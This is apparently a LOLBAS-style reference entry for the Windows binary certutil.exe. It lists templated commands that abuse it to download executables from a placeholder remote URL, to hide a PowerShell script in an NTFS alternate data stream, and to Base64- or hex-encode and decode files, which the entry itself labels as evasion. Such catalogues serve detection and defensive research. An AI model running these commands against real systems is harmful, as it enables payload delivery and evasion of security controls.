Certutil.exe

Windows binary used for handling certificates

Paths

  • C:\Windows\System32\certutil.exe
  • C:\Windows\SysWOW64\certutil.exe

Commands

Download

Download and save an executable to disk in the current folder.

Use case: Download file from Internet

Privileges: User

certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}

Download

Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.

Use case: Download file from Internet

Privileges: User

certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}

ADS

Download and save a .ps1 file to an Alternate Data Stream (ADS).

Use case: Download file from Internet and save it in an NTFS Alternate Data Stream

Privileges: User

certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt

Download

Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.

Use case: Download file from Internet

Privileges: User

certutil.exe -URL {REMOTEURL:.exe}

Encode

Command to encode a file using Base64

Use case: Encode files to evade defensive measures

Privileges: User

certutil -encode {PATH} {PATH:.base64}

Decode

Command to decode a Base64 encoded file.

Use case: Decode files to evade defensive measures

Privileges: User

certutil -decode {PATH:.base64} {PATH}

Decode

Command to decode a hexadecimal-encoded file.

Use case: Decode files to evade defensive measures

Privileges: User

certutil -decodehex {PATH:.hex} {PATH}

Detection

Resources